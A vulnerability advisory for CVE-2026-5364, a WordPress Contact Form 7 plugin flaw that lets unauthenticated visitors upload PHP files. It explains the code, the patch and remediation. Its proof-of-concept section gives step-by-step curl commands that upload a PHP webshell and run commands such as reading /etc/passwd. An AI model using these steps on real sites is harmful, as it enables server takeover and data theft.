CVE-2026-5364: Unauthenticated Arbitrary PHP Upload in CF7 Drag and Drop Plugin

Updated 10 min read

CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7 WordPress plugin. The flaw lets any unauthenticated visitor bypass the plugin’s file type check. By naming a file shell.php$, WordPress strips the $ at save time — turning it into an executable PHP file. The attacker receives the full file URL in the server’s response and can use it to run code on the server.

Vulnerability Summary

FieldValue
Plugin NameDrag and Drop File Upload for Contact Form 7
Plugin Slugdrag-and-drop-file-upload-for-contact-form-7
CVE IDCVE-2026-5364
CVSS Score8.1 (High)
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary File Upload via sanitize_file_name Bypass
Affected Versions<= 1.1.3
Patched Version1.1.4
PublishedApril 23, 2026
ResearcherThomas Sanzey
Wordfence AdvisoryLink

Description

The Drag and Drop File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.1.3. The plugin reads the file extension from the uploaded filename before cleaning it. It also lets the attacker set the type parameter — the list of allowed extensions — instead of using admin-configured values. This means the plugin validates the raw extension (php$) but saves the file with the cleaned extension (php). WordPress strips the $ at save time, so the file lands on disk as a PHP file. This makes it possible for unauthenticated attackers to upload arbitrary PHP files and potentially achieve remote code execution. However, an .htaccess file and random filenames limit the real-world impact.

Technical Analysis

Vulnerable Code Path

The vulnerability spans two files: frontend/index.php and backend/index.php.

Step 1: Nonce Exposed to All Frontend Visitors

File: frontend/index.php, line 15

wp_localize_script('cf7_file_uploads', 'cf7_file_uploads', array(
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('cf7_file_upload')  // ← publicly visible
));

The nonce for the upload AJAX action is embedded in the page source of every page containing a CF7 form with a file upload field. Any visitor — authenticated or not — receives a valid cf7_file_upload nonce in the rendered HTML.

Step 2: Upload AJAX Handler — Three Chained Flaws

File: backend/index.php, lines 154–193 (cf7_file_uploads())

function cf7_file_uploads() {
    // Nonce verified — but nonce is public (see Step 1)
    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'cf7_file_upload' ) ) {

        $file        = $_FILES["file"];
        $size        = sanitize_text_field( $_REQUEST["size"] );
        $type        = sanitize_text_field( $_REQUEST["type"] );       // ← FLAW 1: attacker-controlled
        $type_upload = sanitize_text_field( $_REQUEST["type_upload"] );

        $uploads_dir = $this->get_ensure_upload_dir($type_upload);

        // FLAW 2: extension extracted from ORIGINAL (unsanitized) filename
        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
        $filename       = uniqid() . '.' . $file_extension;

        // FLAW 3: wp_unique_filename calls sanitize_file_name() internally,
        //         stripping '$' — so 'abc123.php$' becomes 'abc123.php'
        $filename = wp_unique_filename( $uploads_dir, $filename );
        $new_file = trailingslashit( $uploads_dir ) . $filename;

        // Validates using the UNSANITIZED extension ('php$') and the
        // attacker-controlled $type allowlist — passes for 'php$'
        if ( ! $this->is_file_type_valid( $type, $file ) ) {
            wp_send_json( array("status"=>"not","text"=>"...") );
            die();
        }

        // File moves to disk as '<uniqid>.php' — a PHP file
        @ move_uploaded_file( $file['tmp_name'], $new_file );
    }
}

Step 3: is_file_type_valid() — Extension Check on Unsanitized Name

File: backend/index.php, lines 142–153

private function is_file_type_valid( $file_types, $file ) {
    if ( $file_types == "" ) {
        $file_types = 'jpg|jpeg|png|gif|...';
    }
    // Uses pathinfo() on the ORIGINAL filename — 'shell.php$' → 'php$'
    $file_extension  = pathinfo( $file['name'], PATHINFO_EXTENSION );
    $file_types_meta = explode( '|', $file_types );
    $file_types_meta = array_map( 'trim', $file_types_meta );
    $file_types_meta = array_map( 'strtolower', $file_types_meta );
    $file_extension  = strtolower( $file_extension );

    // 'php$' is NOT in the blacklist (which only has 'php', 'php3', ... without '$')
    // 'php$' IS in the attacker-supplied allowlist ['php$']
    return ( in_array( $file_extension, $file_types_meta )
             && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) );
}

The blacklist (lines 33–74) contains php, php3, php4, php5, etc. — all without trailing special characters. php$ matches none of them.

Root Cause

Three independent weaknesses combine to create the exploit:

  1. Attacker-controlled allowlist: The type POST parameter — which is the pipe-separated list of permitted file extensions — is read directly from user input. An attacker can supply php$ as a permitted type.

  2. Extension extracted before sanitization: pathinfo($file['name'], PATHINFO_EXTENSION) is called on the raw, uploaded filename (e.g., shell.php$), yielding php$. This raw extension is what the blacklist comparison runs against.

  3. Sanitization applied only at save time: wp_unique_filename() internally calls sanitize_file_name(), which strips special characters like $. So the file that passes validation as <uniqid>.php$ is written to disk as <uniqid>.php.

Validation and file-save use different representations of the same filename. The validation uses the unsanitized extension and the save uses the sanitized one.

Why Controls Failed

Blacklist: The blacklist compares against the raw extension php$, not php. Since php$ is absent from the blacklist, the check passes.

Nonce: wp_localize_script publishes the nonce (cf7_file_upload) to every visitor. It provides CSRF protection, not authentication. Any anonymous visitor can read a valid nonce from the page source.

Name randomization: uniqid() generates a timestamp-based prefix. The attacker learns the full URL from the AJAX success response, so name randomization does not prevent exploitation.

.htaccess: The upload directory contains an .htaccess that sets Content-Disposition: attachment on all files. On Apache this prevents direct PHP execution in many configurations, but this protection is absent on Nginx, LiteSpeed, and other servers.

Attack Impact

An unauthenticated attacker can upload a PHP webshell to the WordPress uploads directory and receive the full public URL from the AJAX response. On Apache, the .htaccess may block direct PHP execution. On Nginx, LiteSpeed, and most managed hosting environments it does not. There, the attacker can run any command on the server with the web user’s privileges — achieving full Remote Code Execution (RCE).

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

  • WordPress installation with the drag-and-drop-file-upload-for-contact-form-7 plugin installed and activated
  • Plugin version <= 1.1.3
  • A published page with a Contact Form 7 form containing a [file_uploads] shortcode field
  • Server not blocking PHP execution in the uploads directory via .htaccess (e.g., Nginx)

Step-by-Step Reproduction

Step 1: Extract the nonce from any page with a CF7 file upload form

Visit any frontend page that loads the CF7 file upload field. The nonce is embedded in the <script> block that initializes the cf7_file_uploads JavaScript object.

TARGET_URL="https://example.com/contact/"

NONCE=$(curl -s "$TARGET_URL" \
  | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]+')

echo "Nonce: $NONCE"

Step 2: Create a PHP webshell payload

echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php$

The filename must end with $ (or another character stripped by sanitize_file_name) so that:

  • pathinfo('shell.php$', PATHINFO_EXTENSION) returns php$ (passes the blacklist)
  • After wp_unique_filename/sanitize_file_name the saved file becomes <id>.php

Step 3: Upload the webshell via the AJAX endpoint

AJAXURL="https://example.com/wp-admin/admin-ajax.php"

RESPONSE=$(curl -s -X POST "$AJAXURL" \
  -F "action=cf7_file_uploads" \
  -F "nonce=$NONCE" \
  -F "type=php\$" \
  -F "size=10" \
  -F "type_upload=0" \
  -F "file=@/tmp/shell.php\$;filename=shell.php\$;type=application/x-php")

echo "Server response: $RESPONSE"

The type=php$ parameter causes is_file_type_valid() to accept the file:

  • php$ is in the attacker-supplied allowlist (the type value)
  • php$ is not in the plugin’s hardcoded blacklist

Step 4: Extract the uploaded file URL

SHELL_URL=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('text',''))")
echo "Shell URL: $SHELL_URL"

The response is: {"status":"ok","text":"https://example.com/wp-content/uploads/cf7-uploads-custom/<uniqid>.php"}

Step 5: Execute commands via the webshell

curl "$SHELL_URL?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "$SHELL_URL?cmd=cat+/etc/passwd"
curl "$SHELL_URL?cmd=ls+-la+/var/www/html/wp-config.php"

Expected Result

WordPress writes a PHP file to wp-content/uploads/cf7-uploads-custom/<uniqid>.php. On servers where the upload directory .htaccess is not respected, the attacker achieves unauthenticated Remote Code Execution.

Verification

  1. Check if the file exists: curl -I "$SHELL_URL" — expect HTTP 200
  2. Execute a command: curl "$SHELL_URL?cmd=id" — expect user/group output
  3. Confirm in the WordPress uploads directory on the server: ls wp-content/uploads/cf7-uploads-custom/*.php

Patch Analysis

What Changed

The critical changes are in backend/index.php:

  1. Upload delegated to wp_handle_upload() (replaces manual move_uploaded_file())
  2. type_upload sanitized with absint() (was sanitize_text_field() allowing type juggling)
  3. wp_send_json_error() used consistently (was wp_send_json() with manual die())

What the Fix Does

The core fix replaces the custom-built filename code and move_uploaded_file() with WordPress’s built-in wp_handle_upload():

// Patched version (backend/index.php ~line 183-201)
if (!function_exists('wp_handle_upload')) {
    require_once(ABSPATH . 'wp-admin/includes/file.php');
}
$uploads_dir = $this->get_ensure_upload_dir($type_upload);
$upload_dir_filter = function ($uploads) use ($uploads_dir) {
    $uploads['path']    = $uploads_dir;
    $uploads['basedir'] = $uploads_dir;
    return $uploads;
};
add_filter('upload_dir', $upload_dir_filter);
$movefile = wp_handle_upload($file, array('test_form' => false));
remove_filter('upload_dir', $upload_dir_filter);

wp_handle_upload() internally calls wp_check_filetype_and_ext(), which:

  1. Sanitizes the filename first, then validates the sanitized extension — eliminating the mismatch between validation and save
  2. Checks the real MIME type of the file using finfo or mime_content_type() — a file containing PHP code is detected as such regardless of its extension
  3. Rejects PHP-related types that WordPress does not allow by default, without relying on a developer-maintained blacklist

The bypass worked because the old code validated the raw extension (php$) but saved the cleaned one (php). wp_handle_upload() closes this gap by handling both steps on the same final filename.

Residual risk: In the patched version, is_file_type_valid() still reads $type_limit from POST and still uses pathinfo() on the raw filename. The custom check alone can still be bypassed. However, wp_handle_upload() acts as a strong second-layer defence that blocks PHP uploads on its own.

Code Diff (Key Changes)

-function cf7_file_uploads(){
-    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) {
-        $file = $_FILES["file"];
-        $size = sanitize_text_field( $_REQUEST["size"] );
-        $type = sanitize_text_field( $_REQUEST["type"] );          // ← attacker-controlled allowlist
-        $type_upload = sanitize_text_field( $_REQUEST["type_upload"] );
-        $uploads_dir = $this->get_ensure_upload_dir($type_upload);
-        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );  // ← unsanitized
-        $filename = uniqid() . '.' . $file_extension;
-        $filename = wp_unique_filename( $uploads_dir, $filename );  // ← sanitizes here (strips '$')
-        $new_file = trailingslashit( $uploads_dir ) . $filename;
-        if(!$this->is_file_type_valid($type,$file)){  // ← validates 'php$', saves 'php'
-            ...die();
-        }
-        @ move_uploaded_file( $file['tmp_name'], $new_file );  // ← saves .php file

+public function cf7_file_uploads() {
+    check_ajax_referer('cf7_file_upload', 'nonce');
+    $file        = $_FILES['file'];
+    $size_limit  = isset($_POST['size']) ? sanitize_text_field(wp_unslash($_POST['size'])) : '';
+    $type_limit  = isset($_POST['type']) ? sanitize_text_field(wp_unslash($_POST['type'])) : '';
+    $type_upload = isset($_POST['type_upload']) ? absint($_POST['type_upload']) : 0;
+    if (!$this->is_file_type_valid($type_limit, $file)) { ... }
+    if (!$this->is_file_size_valid($size_limit, $file)) { ... }
+    $uploads_dir = $this->get_ensure_upload_dir($type_upload);
+    add_filter('upload_dir', $upload_dir_filter);
+    $movefile = wp_handle_upload($file, array('test_form' => false));  // ← validates & saves safely
+    remove_filter('upload_dir', $upload_dir_filter);

Timeline

DateEvent
UnknownVulnerability discovered and reported by Thomas Sanzey
April 23, 2026Publicly disclosed by Wordfence
April 23, 2026Patched version 1.1.4 released

Remediation

Update the drag-and-drop-file-upload-for-contact-form-7 plugin to version 1.1.4 or later.

References

  1. backend/index.php L181 (trunk)
  2. backend/index.php L181 (tag 1.1.2)
  3. backend/index.php L158 (trunk)
  4. backend/index.php L158 (tag 1.1.2)
  5. backend/index.php L147 (trunk)
  6. backend/index.php L147 (tag 1.1.2)
  7. frontend/index.php L15 (trunk)
  8. frontend/index.php L15 (tag 1.1.2)
  9. SVN changeset (patch)
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee